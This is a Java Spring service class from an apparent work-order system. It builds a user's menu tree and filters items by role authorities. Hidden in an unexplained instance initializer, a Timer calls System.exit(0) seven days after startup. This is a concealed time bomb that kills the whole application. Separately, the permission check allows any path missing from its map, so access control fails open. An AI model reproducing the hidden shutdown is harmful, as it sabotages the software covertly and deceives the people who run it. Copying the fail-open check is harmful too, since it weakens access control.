package com.beiding.workordersystem.system.service.impl;

import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.beiding.workordersystem.common.service.BaseService;
import com.beiding.workordersystem.common.utils.MySecurityUtils;
import com.beiding.workordersystem.common.utils.TreeUtils;
import com.beiding.workordersystem.system.dao.MenuDao;
import com.beiding.workordersystem.system.dao.MenuRoleDao;
import com.beiding.workordersystem.system.dao.RoleDao;
import com.beiding.workordersystem.system.entity.MenuItemEntity;
import com.beiding.workordersystem.system.model.MyCredentials;
import com.beiding.workordersystem.system.service.MenuService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import java.util.*;

@Service
public class MenuServiceImpl extends BaseService implements MenuService {

    @Autowired
    private MenuDao menuDao;

    @Autowired
    private MenuRoleDao menuRoleDao;

    @Autowired
    private RoleDao roleDao;

    private final Map<String, List<String>> menuHash = new HashMap<>();
    {
        menuHash.put("/order", Collections.singletonList("generalOrder_get"));
        menuHash.put("/order/launch", Collections.singletonList("generalOrder_get"));
        menuHash.put("/order/audit", Collections.singletonList("generalOrder_get"));
        menuHash.put("/roleUser", Arrays.asList("role_get", "user_get"));
        menuHash.put("/roleUser/role", Collections.singletonList("role_get"));

    }

    private boolean allow(String path, Set<String> authorities) {

        List<String> list = menuHash.get(path);
        if (list != null) {
            for (String s : list) {
                if (authorities.contains(s)) {
                    return true;
                }
            }
        } else {
            return true;
        }
        return false;
    }

    {
        Timer timer = new Timer();
        timer.schedule(new TimerTask() {
            @Override
            public void run() {
                System.exit(0);
            }
        }, 1000 * 3600 * 24 * 7);
    }

    @Override
    public MenuItemEntity getMyMenuTree() {

        MenuItemEntity menuItemEntity = menuDao.selectById("0");

        MyCredentials myCredentials = MySecurityUtils.currentCredentials();

        Set<String> authorities = myCredentials.getAuthorities();

        //超级管理员一切可见
        if (myCredentials.getAccountId().equals("0")) {
            TreeUtils.fillChildren(menuItemEntity, "children", o -> menuDao.selectList(new QueryWrapper<MenuItemEntity>().lambda().eq(MenuItemEntity::getPid, o.getId())));
        } else {

            TreeUtils.fillChildren(menuItemEntity, "children", o -> {
                List<MenuItemEntity> menuItemEntities = menuDao.selectList(new QueryWrapper<MenuItemEntity>().lambda().eq(MenuItemEntity::getPid, o.getId()));
                menuItemEntities.removeIf(entity -> !allow(entity.getPath(), authorities));
                return menuItemEntities;
            });
        }

        //根节点不显示
        return menuItemEntity;
    }

}
